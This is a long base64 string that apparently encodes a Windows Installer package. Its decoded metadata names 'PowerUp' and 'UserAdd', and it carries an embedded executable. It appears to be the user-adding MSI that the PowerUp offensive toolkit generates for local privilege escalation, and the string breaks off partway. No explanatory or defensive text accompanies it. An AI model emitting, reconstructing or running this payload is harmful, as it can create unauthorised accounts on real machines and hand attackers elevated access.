AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAP7/////////CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAEAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAAeAAAAHwAAACAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAAnAAAAKAAAACkAAAD+/////v////7////+////MwAAAP7////+/////v////7////+////OgAAADUAAAA2AAAA/v////7////+/////v///zsAAAA9AAAA/v///z4AAAA/AAAAQAAAAEEAAABCAAAAQwAAAEQAAABFAAAARgAAAEcAAABIAAAASQAAAEoAAAD+////TAAAAE0AAABOAAAATwAAAFAAAABRAAAAUgAAAFMAAABUAAAAVQAAAP7////+////WAAAAP7////+/////v///1wAAAD+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7/AAAGAQIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y+U9oEKuRCAArJ7PZMAAAAKgBAAAOAAAAAQAAAHgAAAACAAAAkAEAAAMAAACAAQAABAAAAHABAAAFAAAAgAAAAAYAAAAoAQAABwAAAJQAAAAJAAAAqAAAAAwAAADYAAAADQAAAOQAAAAOAAAA8AAAAA8AAAD4AAAAEgAAAAgBAAATAAAAAAEAAAIAAADkBAAAHgAAAAoAAABJbnN0YWxsZXIAAAAeAAAACwAAAEludGVsOzEwMzMAAB4AAAAnAAAAe0EwNDlFMzFGLTc3MDEtNEM0QS1BQ0JDLUIyNjBFQjA4QkI0Q30AAEAAAAAALfR1QTjPAUAAAAAALfR1QTjPAQMAAADIAAAAAwAAAAIAAAADAAAAAgAAAB4AAAAXAAAATVNJIFdyYXBwZXIgKDQuMS41NC4wKQAAHgAAAEAAAABJbnN0YWxsZXIgd3JhcHBlZCBieSBNU0kgV3JhcHBlciAoNC4xLjU0LjApIGZyb20gd3d3LmV4ZW1zaS5jb20AHgAAAAgAAABQb3dlclVwAB4AAAAIAAAAVXNlckFkZAAeAAAAEAAAAFVzZXJBZGQgMS4wLjAuMABBOM8BAwAAAMgAAAADAAAAAgAAAB4AAAArAAAAV2luZG93cyBJbnN0YWxsZXIgWE1MIFRvb2xzZXQgKDMuOC4xMTI4LjApAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABgAGAAYABgAGAAYABgAGAAYACgAKACIAIgAiACkAKQApACoAKgAqACsAKwAvAC8ALwAvAC8ALwA1ADUANQA9AD0APQA9AD0ATQBNAE0ATQBNAE0ATQBNAFwAXABhAGEAYQBhAGEAYQBhAGEAbwBvAHIAcgByAHMAcwBzAHQAdAB3AHcAdwB3AHcAdwCCAIIAhgCGAIYAhgCGAIYAkACQAJAAkACQAJAAkAACAAUACwAMAA0ADgAPABAAEQASAAcACQAjACUAJwAjACUAJwAjACUAJwABAC0AJQAvADEANAA3ADoANQBJAEsABAAjAEAAQwBGAAsANAA3AE0ATwBRAFQAVgBdAF8AJwA3AF8AYQBkAGcAaQBrAAEALQAjACUAJwAjACUAJwALACUAQAB4AHoAfAB+AIAABwCCAAEABwBfAIYAiACKADcAawCRAJMAlQCZAJsACAAIABgAGAAYABgAGAAIABgAGAAIAAgACAAYABgACAAYABgACAAYABgACAAIABgACAAYAAgACAAYAAgAGAAIAAgACAAYABgAGAAYABgACAAIABgAGAAYAAgACAAIAAgAGAAIAAgACAAIABgAGAAIAAgACAAYABgACAAYABgACAAIABgACAAIABgAGAAYAAgACAAYABgACAAIAAgACAAIABgACAAYABgAGAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAQAAgAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/P//fwAAAAAAAAAA/P//fwAAAAAAAAAAAAAAAAEAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////fwAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAACA/////wAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9/AID/fwCAAAAAAAAAAAD//////38AgAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fwCAAAAAAAAAAAD/fwCAAAAAAAAAAAAAAAAA/38AgP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAACAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANQAAADsAAAA1AAAAAAAAAAAAAAAAAAAANQAAAAAATQAAAAAAAABNAC8AAAAAAC8AAAAAAAAAYQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAABgAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAGAAAAAAAAAAYABgAAAAAABgAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAABMAEwAfAB8AAAAAAAAAAAATAAAAAAAAABMAJQAAABMAJQAAABMAJQAAABMAKwAlABMAMgATAAAAEwATABMASwAAABMAQQBEAAAAHwBYAAAAEwATAB8AAAAAABMAEwAAAAAAEwATAGUAAABpAGsAEwArABMAJQAAABMAJQAAAEQAJQCCAAAAAAAfAH4AHwAfABMARABEABMAEwAAAIsAAABrADIAHwAfAEQAWAAAAAAAAAAAAB0AAAAAABYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAVACEAIAAeABwAGgAXABsAGQAAAAAAJAAmACgAJAAmACgAJAAmACgALAAuADkAMAAzADYAOAA8AEgASgBMAD8APgBCAEUARwBTAFkAWwBOAFAAUgBVAFcAXgBgAG4AbQBjAGIAZgBoAGoAbABwAHEAJAAmACgAJAAmACgAdgB1AIMAeQB7AH0AfwCBAIUAhACNAI4AjwCHAIkAjACYAJcAkgCUAJYAmgCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ0AngCfAKAAoQCiAKMApAAAAAAAAAAAAAAAAAAAAAAAIIOEg+iDeIXchTyPoI/ImQAAAAAAAAAAAAAAAAAAAACdAJ4AnwClAAAAAAAAAAAAIIOEg+iDFIUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnQCfAKAAoQCkAKYApwAAAAAAAAAAAAAAAAAAACCD6IN4hdyFyJmcmACZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAYABQACAAAAAAAEAAIABgACAAsAFQAFAAUAAQAsAAoAAQATAAIACwAGAAMAAgAIAAIACQACAAgAAgCqAKsArAAEgAAArQDNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAArgCvALEAswC2ADOAAYwBgAKMAYCvAKkAqQCoAKkAsAC1ALIAtAC3AAAAAAAAAAAAAAAAAAAAAAAAAAAAumLMyKwAuAC6ALgAugAAALkAuwC8AF3I0GLMyFJpY2jRYszIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBBQC9AAAAvgAAAAKAAYAAAACACwEJAADmAAAAbgAAAAAAAJdEAAAAEAAAAAABAAAAABAAEAAAAAIAAAUAAAAAAAAAvQCqAAAAAAAAsAEAAAQAAJ/CAQACAEABAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAcD8BAJoAAADsNgEAjAAAAAgAAgAIAAIACAACAAoAGQANAAEADgABAAMAAQAeAAEAAQAqABUAAQAVAAEANgABACQAAQD1AAEADwABAAQACQCdAJ4AnwCgAKEAowCkAKYApwCuAK8AsQCzALYAwADBAMIAwwDEAMUAxgDHAMgAyQDKAAAAAAAAAAAAAAAAAAAAAAAAAMsAywDLAMsAzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIIOEg+iDeIXchaCPyJmcmACZ24Wjj6GPoo+kjxmAZIC8grCEQIYIhyiKiJNwl9SXeYWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqdAJ4AnwClAMAAwQDCAMMAAAAAAAAAAAAAAAAAAAAAACCDhIPogxSFGYBkgLyCsIR3d3d3h3eHh4eHiIiBaqgAzQDOAAdwB3B3eHh4hxqlAKoIJSUlJwQndIiIiIhqqAcHBwdwcHAHcHd3d3d4GqYAAAAHAHBwAAcHcHd3d2qoAAGAAAAAgAAAAAAAAAAAqAd3B3d3d3AHcHeHd4d3aqgAAAAAAAAAAAAAAAAAcIqoAGoIhINIoASneEiIhHeKqAcgAAEAFQABABQABwAGAAwAQgAFAAkAFQCfAAUACAAMAG8ABQAPAAcAEwAHAAYABwAnAAEABAAEABwAAQAJABIAOwABAAsAAgAEAAIAPgABAAoABAAJAAwA0gABAAoACAAnAAEA6AABAAcAAgAcAAEA4wABAAwACwBTAAEAXgABAK0AAgEFAQgBCwECgAKAAoACgAKA/wD/AP8A/wD/AAABAwEGAQkBDAEBAQQBBwEKAQ0BqgCqAKoAqgCqAKqqqqoGAAQADAABAC4AAQAGAAIACQAFADoAAQAMAAIAVwABAIYAAQAQAAIApgABAAoAAwApAAEABwAVADkAAQAOAAIAlAABAAUAAgAuAAEAOgABAAcAAgA+AAEABQACAIEAAQAJAAIAawABAFEAAQASAAEAEQAFAAgAAgAfAAEACgAGACEAAQAEABQAcwABADkAAQAIAAIACAABAGMAAQAIAAIAJQABAAcAAwBBAAEACAAGAD8AAQB2AAEASgABAAQABQBOYW1lVGFibGVUeXBlQ29sdW1uX1ZhbGlkYXRpb25WYWx1ZU5Qcm9wZXJ0eUlkX1N1bW1hcnlJbmZvcm1hdGlvbkRlc2NyaXB0aW9uU2V0Q2F0ZWdvcnlLZXlDb2x1bW5NYXhWYWx1ZU51bGxhYmxlS2V5VGFibGVNaW5WYWx1ZUlkZW50aWZpZXJOYW1lIG9mIHRhYmxlTmFtZSBvZiBjb2x1bW5ZO05XaGV0aGVyIHRoZSBjb2x1bW4gaXMgbnVsbGFibGVZTWluaW11bSB2YWx1ZSBhbGxvd2VkTWF4aW11bSB2YWx1ZSBhbGxvd2VkRm9yIGZvcmVpZ24ga2V5LCBOYW1lIG9mIHRhYmxlIHRvIHdoaWNoIGRhdGEgbXVzdCBsaW5rQ29sdW1uIHRvIHdoaWNoIGZvcmVpZ24ga2V5IGNvbm5lY3RzVGV4dDtGb3JtYXR0ZWQ7VGVtcGxhdGU7Q29uZGl0aW9uO0d1aWQ7UGF0aDtWZXJzaW9uO0xhbmd1YWdlO0lkZW50aWZpZXI7QmluYXJ5O1VwcGVyQ2FzZTtMb3dlckNhc2U7RmlsZW5hbWU7UGF0aHM7QW55UGF0aDtXaWxkQ2FyZEZpbGVuYW1lO1JlZ1BhdGg7Q3VzdG9tU291cmNlO1Byb3BlcnR5O0NhYmluZXQ7U2hvcnRjdXQ7Rm9ybWF0dGVkU0RETFRleHQ7SW50ZWdlcjtEb3VibGVJbnRlZ2VyO1RpbWVEYXRlO0RlZmF1bHREaXJTdHJpbmcgY2F0ZWdvcnlUZXh0U2V0IG9mIHZhbHVlcyB0aGF0IGFyZSBwZXJtaXR0ZWREZXNjcmlwdGlvbiBvZiBjb2x1bW5BZG1pbkV4ZWN1dGVTZXF1ZW5jZUFjdGlvbk5hbWUgb2YgYWN0aW9uIHRvIGludm9rZSwgZWl0aGVyIGluIHRoZSBlbmdpbmUgb3IgdGhlIGhhbmRsZXIgRExMLkNvbmRpdGlvbk9wdGlvbmFsIGV4cHJlc3Npb24gd2hpY2ggc2tpcHMgdGhlIGFjdGlvbiBpZiBldmFsdWF0ZXMgdG8gZXhwRmFsc2UuSWYgdGhlIGV4cHJlc3Npb24gc3ludGF4IGlzIGludmFsaWQsIHRoZSBlbmdpbmUgd2lsbCB0ZXJtaW5hdGUsIHJldHVybmluZyBpZXNCYWRBY3Rpb25EYXRhLlNlcXVlbmNlTnVtYmVyIHRoYXQgZGV0ZXJtaW5lcyB0aGUgc29ydCBvcmRlciBpbiB3aGljaCB0aGUgYWN0aW9ucyBhcmUgdG8gYmUgZXhlY3V0ZWQuICBMZWF2ZSBibGFuayB0byBzdXBwcmVzcyBhY3Rpb24uQWRtaW5VSVNlcXVlbmNlQWR2dEV4ZWN1dGVTZXF1ZW5jZUJpbmFyeVVuaXF1ZSBrZXkgaWRlbnRpZnlpbmcgdGhlIGJpbmFyeSBkYXRhLkRhdGFUaGUgdW5mb3JtYXR0ZWQgYmluYXJ5IGRhdGEuQ29tcG9uZW50UHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgY29tcG9uZW50IHJlY29yZC5Db21wb25lbnRJZEd1aWRBIHN0cmluZyBHVUlEIHVuaXF1ZSB0byB0aGlzIGNvbXBvbmVudCwgdmVyc2lvbiwgYW5kIGxhbmd1YWdlLkRpcmVjdG9yeV9EaXJlY3RvcnlSZXF1aXJlZCBrZXkgb2YgYSBEaXJlY3RvcnkgdGFibGUgcmVjb3JkLiBUaGlzIGlzIGFjdHVhbGx5IGEgcHJvcGVydHkgbmFtZSB3aG9zZSB2YWx1ZSBjb250YWlucyB0aGUgYWN0dWFsIHBhdGgsIHNldCBlaXRoZXIgYnkgdGhlIEFwcFNlYXJjaCBhY3Rpb24gb3Igd2l0aCB0aGUgZGVmYXVsdCBzZXR0aW5nIG9idGFpbmVkIGZyb20gdGhlIERpcmVjdG9yeSB0YWJsZS5BdHRyaWJ1dGVzUmVtb3RlIGV4ZWN1dGlvbiBvcHRpb24sIG9uZSBvZiBpcnNFbnVtQSBjb25kaXRpb25hbCBzdGF0ZW1lbnQgdGhhdCB3aWxsIGRpc2FibGUgdGhpcyBjb21wb25lbnQgaWYgdGhlIHNwZWNpZmllZCBjb25kaXRpb24gZXZhbHVhdGVzIHRvIHRoZSAnVHJ1ZScgc3RhdGUuIElmIGEgY29tcG9uZW50IGlzIGRpc2FibGVkLCBpdCB3aWxsIG5vdCBiZSBpbnN0YWxsZWQsIHJlZ2FyZGxlc3Mgb2YgdGhlICdBY3Rpb24nIHN0YXRlIGFzc29jaWF0ZWQgd2l0aCB0aGUgY29tcG9uZW50LktleVBhdGhGaWxlO1JlZ2lzdHJ5O09EQkNEYXRhU291cmNlRWl0aGVyIHRoZSBwcmltYXJ5IGtleSBpbnRvIHRoZSBGaWxlIHRhYmxlLCBSZWdpc3RyeSB0YWJsZSwgb3IgT0RCQ0RhdGFTb3VyY2UgdGFibGUuIFRoaXMgZXh0cmFjdCBwYXRoIGlzIHN0b3JlZCB3aGVuIHRoZSBjb21wb25lbnQgaXMgaW5zdGFsbGVkLCBhbmQgaXMgdXNlZCB0byBkZXRlY3QgdGhlIHByZXNlbmNlIG9mIHRoZSBjb21wb25lbnQgYW5kIHRvIHJldHVybiB0aGUgcGF0aCB0byBpdC5DdXN0b21BY3Rpb25QcmltYXJ5IGtleSwgbmFtZSBvZiBhY3Rpb24sIG5vcm1hbGx5IGFwcGVhcnMgaW4gc2VxdWVuY2UgdGFibGUgdW5sZXNzIHByaXZhdGUgdXNlLlRoZSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSwgY29uc2lzdGluZyBvZiBzb3VyY2UgbG9jYXRpb24sIGNvZGUgdHlwZSwgZW50cnksIG9wdGlvbiBmbGFncy5Tb3VyY2VDdXN0b21Tb3VyY2VUaGUgdGFibGUgcmVmZXJlbmNlIG9mIHRoZSBzb3VyY2Ugb2YgdGhlIGNvZGUuVGFyZ2V0Rm9ybWF0dGVkRXhjZWN1dGlvbiBwYXJhbWV0ZXIsIGRlcGVuZHMgb24gdGhlIHR5cGUgb2YgY3VzdG9tIGFjdGlvbkV4dGVuZGVkVHlwZUEgbnVtZXJpYyBjdXN0b20gYWN0aW9uIHR5cGUgdGhhdCBleHRlbmRzIGNvZGUgdHlwZSBvciBvcHRpb24gZmxhZ3Mgb2YgdGhlIFR5cGUgY29sdW1uLlVuaXF1ZSBpZGVudGlmaWVyIGZvciBkaXJlY3RvcnkgZW50cnksIHByaW1hcnkga2V5LiBJZiBhIHByb3BlcnR5IGJ5IHRoaXMgbmFtZSBpcyBkZWZpbmVkLCBpdCBjb250YWlucyB0aGUgZnVsbCBwYXRoIHRvIHRoZSBkaXJlY3RvcnkuRGlyZWN0b3J5X1BhcmVudFJlZmVyZW5jZSB0byB0aGUgZW50cnkgaW4gdGhpcyB0YWJsZSBzcGVjaWZ5aW5nIHRoZSBkZWZhdWx0IHBhcmVudCBkaXJlY3RvcnkuIEEgcmVjb3JkIHBhcmVudGVkIHRvIGl0c2VsZiBvciB3aXRoIGEgTnVsbCBwYXJlbnQgcmVwcmVzZW50cyBhIHJvb3Qgb2YgdGhlIGluc3RhbGwgdHJlZS5EZWZhdWx0RGlyVGhlIGRlZmF1bHQgc3ViLXBhdGggdW5kZXIgcGFyZW50J3MgcGF0aC5GZWF0dXJlUHJpbWFyeSBrZXkgdXNlZCB0byBpZGVudGlmeSBhIHBhcnRpY3VsYXIgZmVhdHVyZSByZWNvcmQuRmVhdHVyZV9QYXJlbnRPcHRpb25hbCBrZXkgb2YgYSBwYXJlbnQgcmVjb3JkIGluIHRoZSBzYW1lIHRhYmxlLiBJZiB0aGUgcGFyZW50IGlzIG5vdCBzZWxlY3RlZCwgdGhlbiB0aGUgcmVjb3JkIHdpbGwgbm90IGJlIGluc3RhbGxlZC4gTnVsbCBpbmRpY2F0ZXMgYSByb290IGl0ZW0uVGl0bGVTaG9ydCB0ZXh0IGlkZW50aWZ5aW5nIGEgdmlzaWJsZSBmZWF0dXJlIGl0ZW0uTG9uZ2VyIGRlc2NyaXB0aXZlIHRleHQgZGVzY3JpYmluZyBhIHZpc2libGUgZmVhdHVyZSBpdGVtLkRpc3BsYXlOdW1lcmljIHNvcnQgb3JkZXIsIHVzZWQgdG8gZm9yY2UgYSBzcGVjaWZpYyBkaXNwbGF5IG9yZGVyaW5nLkxldmVsVGhlIGluc3RhbGwgbGV2ZWwgYXQgd2hpY2ggcmVjb3JkIHdpbGwgYmUgaW5pdGlhbGx5IHNlbGVjdGVkLiBBbiBpbnN0YWxsIGxldmVsIG9mIDAgd2lsbCBkaXNhYmxlIGFuIGl0ZW0gYW5kIHByZXZlbnQgaXRzIGRpc3BsYXkuVXBwZXJDYXNlVGhlIG5hbWUgb2YgdGhlIERpcmVjdG9yeSB0aGF0IGNhbiBiZSBjb25maWd1cmVkIGJ5IHRoZSBVSS4gQSBub24tbnVsbCB2YWx1ZSB3aWxsIGVuYWJsZSB0aGUgYnJvd3NlIGJ1dHRvbi4wOzE7Mjs0OzU7Njs4Ozk7MTA7MTY7MTc7MTg7MjA7MjE7MjI7MjQ7MjU7MjY7MzI7MzM7MzQ7MzY7Mzc7Mzg7NDg7NDk7NTA7NTI7NTM7NTRGZWF0dXJlIGF0dHJpYnV0ZXNGZWF0dXJlQ29tcG9uZW50c0ZlYXR1cmVfRm9yZWlnbiBrZXkgaW50byBGZWF0dXJlIHRhYmxlLkNvbXBvbmVudF9Gb3JlaWduIGtleSBpbnRvIENvbXBvbmVudCB0YWJsZS5GaWxlUHJpbWFyeSBrZXksIG5vbi1sb2NhbGl6ZWQgdG9rZW4sIG11c3QgbWF0Y2ggaWRlbnRpZmllciBpbiBjYWJpbmV0LiAgRm9yIHVuY29tcHJlc3NlZCBmaWxlcywgdGhpcyBmaWVsZCBpcyBpZ25vcmVkLkZvcmVpZ24ga2V5IHJlZmVyZW5jaW5nIENvbXBvbmVudCB0aGF0IGNvbnRyb2xzIHRoZSBmaWxlLkZpbGVOYW1lRmlsZW5hbWVGaWxlIG5hbWUgdXNlZCBmb3IgaW5zdGFsbGF0aW9uLCBtYXkgYmUgbG9jYWxpemVkLiAgVGhpcyBtYXkgY29udGFpbiBhICJzaG9ydCBuYW1lfGxvbmcgbmFtZSIgcGFpci5GaWxlU2l6ZVNpemUgb2YgZmlsZSBpbiBieXRlcyAobG9uZyBpbnRlZ2VyKS5WZXJzaW9uVmVyc2lvbiBzdHJpbmcgZm9yIHZlcnNpb25lZCBmaWxlczsgIEJsYW5rIGZvciB1bnZlcnNpb25lZCBmaWxlcy5MYW5ndWFnZUxpc3Qgb2YgZGVjaW1hbCBsYW5ndWFnZSBJZHMsIGNvbW1hLXNlcGFyYXRlZCBpZiBtb3JlIHRoYW4gb25lLkludGVnZXIgY29udGFpbmluZyBiaXQgZmxhZ3MgcmVwcmVzZW50aW5nIGZpbGUgYXR0cmlidXRlcyAod2l0aCB0aGUgZGVjaW1hbCB2YWx1ZSBvZiBlYWNoIGJpdCBwb3NpdGlvbiBpbiBwYXJlbnRoZXNlcylTZXF1ZW5jZSB3aXRoIHJlc3BlY3QgdG8gdGhlIG1lZGlhIGltYWdlczsgb3JkZXIgbXVzdCB0cmFjayBjYWJpbmV0IG9yZGVyLkljb25QcmltYXJ5IGtleS4gTmFtZSBvZiB0aGUgaWNvbiBmaWxlLkJpbmFyeSBzdHJlYW0uIFRoZSBiaW5hcnkgaWNvbiBkYXRhIGluIFBFICguRExMIG9yIC5FWEUpIG9yIGljb24gKC5JQ08pIGZvcm1hdC5JbnN0YWxsRXhlY3V0ZVNlcXVlbmNlSW5zdGFsbFVJU2VxdWVuY2VMYXVuY2hDb25kaXRpb25FeHByZXNzaW9uIHdoaWNoIG11c3QgZXZhbHVhdGUgdG8gVFJVRSBpbiBvcmRlciBmb3IgaW5zdGFsbCB0byBjb21tZW5jZS5Mb2NhbGl6YWJsZSB0ZXh0IHRvIGRpc3BsYXkgd2hlbiBjb25kaXRpb24gZmFpbHMgYW5kIGluc3RhbGwgbXVzdCBhYm9ydC5NZWRpYURpc2tJZFByaW1hcnkga2V5LCBpbnRlZ2VyIHRvIGRldGVybWluZSBzb3J0IG9yZGVyIGZvciB0YWJsZS5MYXN0U2VxdWVuY2VGaWxlIHNlcXVlbmNlIG51bWJlciBmb3IgdGhlIGxhc3QgZmlsZSBmb3IgdGhpcyBtZWRpYS5EaXNrUHJvbXB0RGlzayBuYW1lOiB0aGUgdmlzaWJsZSB0ZXh0IGFjdHVhbGx5IHByaW50ZWQgb24gdGhlIGRpc2suICBUaGlzIHdpbGwgYmUgdXNlZCB0byBwcm9tcHQgdGhlIHVzZXIgd2hlbiB0aGlzIGRpc2sgbmVlZHMgdG8gYmUgaW5zZXJ0ZWQuQ2FiaW5ldElmIHNvbWUgb3IgYWxsIG9mIHRoZSBmaWxlcyBzdG9yZWQgb24gdGhlIG1lZGlhIGFyZSBjb21wcmVzc2VkIGluIGEgY2FiaW5ldCwgdGhlIG5hbWUgb2YgdGhhdCBjYWJpbmV0LlZvbHVtZUxhYmVsVGhlIGxhYmVsIGF0dHJpYnV0ZWQgdG8gdGhlIHZvbHVtZS5Qcm9wZXJ0eVRoZSBwcm9wZXJ0eSBkZWZpbmluZyB0aGUgbG9jYXRpb24gb2YgdGhlIGNhYmluZXQgZmlsZS5OYW1lIG9mIHByb3BlcnR5LCB1cHBlcmNhc2UgaWYgc2V0dGFibGUgYnkgbGF1bmNoZXIgb3IgbG9hZGVyLlN0cmluZyB2YWx1ZSBmb3IgcHJvcGVydHkuICBOZXZlciBudWxsIG9yIGVtcHR5LlJlZ2lzdHJ5UHJpbWFyeSBrZXksIG5vbi1sb2NhbGl6ZWQgdG9rZW4uUm9vdFRoZSBwcmVkZWZpbmVkIHJvb3Qga2V5IGZvciB0aGUgcmVnaXN0cnkgdmFsdWUsIG9uZSBvZiBycmtFbnVtLktleVJlZ1BhdGhUaGUga2V5IGZvciB0aGUgcmVnaXN0cnkgdmFsdWUuVGhlIHJlZ2lzdHJ5IHZhbHVlIG5hbWUuVGhlIHJlZ2lzdHJ5IHZhbHVlLkZvcmVpZ24ga2V5IGludG8gdGhlIENvbXBvbmVudCB0YWJsZSByZWZlcmVuY2luZyBjb21wb25lbnQgdGhhdCBjb250cm9scyB0aGUgaW5zdGFsbGluZyBvZiB0aGUgcmVnaXN0cnkgdmFsdWUuVXBncmFkZVVwZ3JhZGVDb2RlVGhlIFVwZ3JhZGVDb2RlIEdVSUQgYmVsb25naW5nIHRvIHRoZSBwcm9kdWN0cyBpbiB0aGlzIHNldC5WZXJzaW9uTWluVGhlIG1pbmltdW0gUHJvZHVjdFZlcnNpb24gb2YgdGhlIHByb2R1Y3RzIGluIHRoaXMgc2V0LiAgVGhlIHNldCBtYXkgb3IgbWF5IG5vdCBpbmNsdWRlIHByb2R1Y3RzIHdpdGggdGhpcyBwYXJ0aWN1bGFyIHZlcnNpb24uVmVyc2lvbk1heFRoZSBtYXhpbXVtIFByb2R1Y3RWZXJzaW9uIG9mIHRoZSBwcm9kdWN0cyBpbiB0aGlzIHNldC4gIFRoZSBzZXQgbWF5IG9yIG1heSBub3QgaW5jbHVkZSBwcm9kdWN0cyB3aXRoIHRoaXMgcGFydGljdWxhciB2ZXJzaW9uLkEgY29tbWEtc2VwYXJhdGVkIGxpc3Qgb2YgbGFuZ3VhZ2VzIGZvciBlaXRoZXIgcHJvZHVjdHMgaW4gdGhpcyBzZXQgb3IgcHJvZHVjdHMgbm90IGluIHRoaXMgc2V0LlRoZSBhdHRyaWJ1dGVzIG9mIHRoaXMgcHJvZHVjdCBzZXQuUmVtb3ZlVGhlIGxpc3Qgb2YgZmVhdHVyZXMgdG8gcmVtb3ZlIHdoZW4gdW5pbnN0YWxsaW5nIGEgcHJvZHVjdCBmcm9tIHRoaXMgc2V0LiAgVGhlIGRlZmF1bHQgaXMgIkFMTCIuQWN0aW9uUHJvcGVydHlUaGUgcHJvcGVydHkgdG8gc2V0IHdoZW4gYSBwcm9kdWN0IGluIHRoaXMgc2V0IGlzIGZvdW